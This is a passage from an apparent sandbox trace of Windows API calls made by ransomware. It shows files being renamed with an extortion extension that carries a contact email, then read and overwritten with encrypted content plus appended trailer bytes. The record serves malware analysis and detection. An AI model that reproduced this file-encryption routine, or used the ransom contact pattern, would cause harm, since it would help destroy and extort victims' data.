lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0104.903] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x2001517, dwReserved1=0x0, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIFFDF~1.FIR")) returned 0x6d53c0 [0104.903] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0104.903] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0104.903] GetProcessHeap () returned 0x630000 [0104.903] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f60af8 [0104.904] GetProcessHeap () returned 0x630000 [0104.904] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f6bf28 [0104.904] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.904] ReadFile (in: hFile=0x678, lpBuffer=0x6f60af8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f60af8*, lpNumberOfBytesRead=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0111.361] GetProcessHeap () returned 0x630000 [0111.361] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee080 [0111.361] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.361] WriteFile (in: hFile=0x678, lpBuffer=0x6f6bf28*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f6bf28*, lpNumberOfBytesWritten=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0111.362] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.362] WriteFile (in: hFile=0x678, lpBuffer=0x6f77327*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f77327*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0111.362] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.362] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0111.362] CloseHandle (hObject=0x678) returned 1 [0112.855] GetProcessHeap () returned 0x630000 [0112.855] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f6bf28 | out: hHeap=0x630000) returned 1 [0112.857] GetProcessHeap () returned 0x630000 [0112.857] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f60af8 | out: hHeap=0x630000) returned 1 [0112.858] GetProcessHeap () returned 0x630000 [0112.858] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee080 | out: hHeap=0x630000) returned 1 [0112.858] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.858] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x937452b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0x9ec7496, dwReserved1=0x6f60af0, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIFFDF~1.FIR")) returned 0x6d5240 [0112.859] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0112.859] Sleep (dwMilliseconds=0x1) [0113.712] Sleep (dwMilliseconds=0x1) [0114.313] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml", len=0x4e | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 1 [0114.313] GetProcessHeap () returned 0x630000 [0114.313] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1208, Size=0xc) returned 0x6b1220 [0114.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.313] Sleep (dwMilliseconds=0x1) [0114.884] Sleep (dwMilliseconds=0x1) [0115.139] Sleep (dwMilliseconds=0x1) [0115.499] Sleep (dwMilliseconds=0x1) [0115.906] Sleep (dwMilliseconds=0x1) [0117.154] Sleep (dwMilliseconds=0x1) [0117.170] Sleep (dwMilliseconds=0x1) [0117.184] Sleep (dwMilliseconds=0x1) [0117.563] Sleep (dwMilliseconds=0x1) [0117.655] Sleep (dwMilliseconds=0x1) [0117.679] Sleep (dwMilliseconds=0x1) [0117.686] Sleep (dwMilliseconds=0x1) [0117.703] Sleep (dwMilliseconds=0x1) [0117.718] Sleep (dwMilliseconds=0x1) [0123.307] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 1 [0123.307] GetProcessHeap () returned 0x630000 [0123.307] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x18c) returned 0x66a3e0 [0123.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0123.311] CloseHandle (hObject=0x714) returned 1 [0123.311] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.311] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0123.326] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.326] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x573e5, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP143D~1.FIR")) returned 0x6d4e00 [0123.326] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0123.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0123.327] GetProcessHeap () returned 0x630000 [0123.327] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f28608 [0123.327] GetProcessHeap () returned 0x630000 [0123.327] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ec0048 [0123.327] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.327] ReadFile (in: hFile=0x714, lpBuffer=0x6f28608, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f28608*, lpNumberOfBytesRead=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0127.323] GetProcessHeap () returned 0x630000 [0127.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0127.323] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.323] WriteFile (in: hFile=0x714, lpBuffer=0x6ec0048*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesWritten=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0128.207] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.207] WriteFile (in: hFile=0x714, lpBuffer=0x6ecb447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecb447*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0129.804] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.804] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0129.804] CloseHandle (hObject=0x714) returned 1 [0129.813] GetProcessHeap () returned 0x630000 [0129.813] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0129.813] GetProcessHeap () returned 0x630000 [0129.813] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f28608 | out: hHeap=0x630000) returned 1 [0129.813] GetProcessHeap () returned 0x630000 [0129.813] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0131.536] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1352388b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x57409, dwReserved0=0x9ec7496, dwReserved1=0x6f28600, cFileName="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP143D~1.FIR")) returned 0x6d5540 [0131.536] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0131.536] Sleep (dwMilliseconds=0x1) [0133.308] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF", len=0x44 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 1 [0133.308] GetProcessHeap () returned 0x630000 [0133.308] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xe4) returned 0x66a3e0 [0133.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0133.309] CloseHandle (hObject=0x414) returned 1 [0133.309] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.309] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0133.310] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.310] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN03500_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0350~1.FIR")) returned 0x6d5200 [0133.310] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0133.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0133.310] GetProcessHeap () returned 0x630000 [0133.310] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2421) returned 0x707ebd0 [0133.310] GetProcessHeap () returned 0x630000 [0133.310] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2421) returned 0x7081000 [0133.310] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.310] ReadFile (in: hFile=0x414, lpBuffer=0x707ebd0, nNumberOfBytesToRead=0x2400, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x707ebd0*, lpNumberOfBytesRead=0x6c3ff0c*=0x2400, lpOverlapped=0x0) returned 1 [0133.387] GetProcessHeap () returned 0x630000 [0133.387] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0133.388] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.388] WriteFile (in: hFile=0x414, lpBuffer=0x7081000*, nNumberOfBytesToWrite=0x2400, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7081000*, lpNumberOfBytesWritten=0x6c3ff0c*=0x2400, lpOverlapped=0x0) returned 1 [0133.388] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.388] WriteFile (in: hFile=0x414, lpBuffer=0x70833ff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70833ff*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0133.388] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.388] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0133.388] CloseHandle (hObject=0x414) returned 1 [0133.389] GetProcessHeap () returned 0x630000 [0133.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7081000 | out: hHeap=0x630000) returned 1 [0133.389] GetProcessHeap () returned 0x630000 [0133.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707ebd0 | out: hHeap=0x630000) returned 1 [0133.389] GetProcessHeap () returned 0x630000 [0133.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0133.389] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.390] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1574a7ee, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x243c, dwReserved0=0x9ec7496, dwReserved1=0x707ebc8, cFileName="AN03500_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0350~1.FIR")) returned 0x6d5540 [0133.390] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0133.390] Sleep (dwMilliseconds=0x1) [0135.540] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF", len=0x44 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 1 [0135.540] GetProcessHeap () returned 0x630000 [0135.540] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x170) returned 0x66a3e0 [0135.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0135.541] CloseHandle (hObject=0x6b8) returned 1 [0135.541] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.541] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0135.542] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0135.542] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00008_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0000~1.FIR")) returned 0x6d4e40 [0135.542] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0135.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0135.542] GetProcessHeap () returned 0x630000 [0135.542] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3101) returned 0x7076c00 [0135.543] GetProcessHeap () returned 0x630000 [0135.543] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3101) returned 0x7079d10 [0135.543] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.543] ReadFile (in: hFile=0x6b8, lpBuffer=0x7076c00, nNumberOfBytesToRead=0x30e0, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7076c00*, lpNumberOfBytesRead=0x6c3ff0c*=0x30e0, lpOverlapped=0x0) returned 1 [0137.403] GetProcessHeap () returned 0x630000 [0137.403] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0137.403] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.403] WriteFile (in: hFile=0x6b8, lpBuffer=0x7079d10*, nNumberOfBytesToWrite=0x30e0, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7079d10*, lpNumberOfBytesWritten=0x6c3ff0c*=0x30e0, lpOverlapped=0x0) returned 1 [0137.403] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.403] WriteFile (in: hFile=0x6b8, lpBuffer=0x707cdef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x707cdef*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0137.403] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.403] WriteFile (in: hFile=0x6b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0137.403] CloseHandle (hObject=0x6b8) returned 1 [0137.405] GetProcessHeap () returned 0x630000 [0137.405] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7079d10 | out: hHeap=0x630000) returned 1 [0137.405] GetProcessHeap () returned 0x630000 [0137.405] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7076c00 | out: hHeap=0x630000) returned 1 [0137.406] GetProcessHeap () returned 0x630000 [0137.406] HeapFree (in: hHeap=0x630000, dwFlags=0x0, 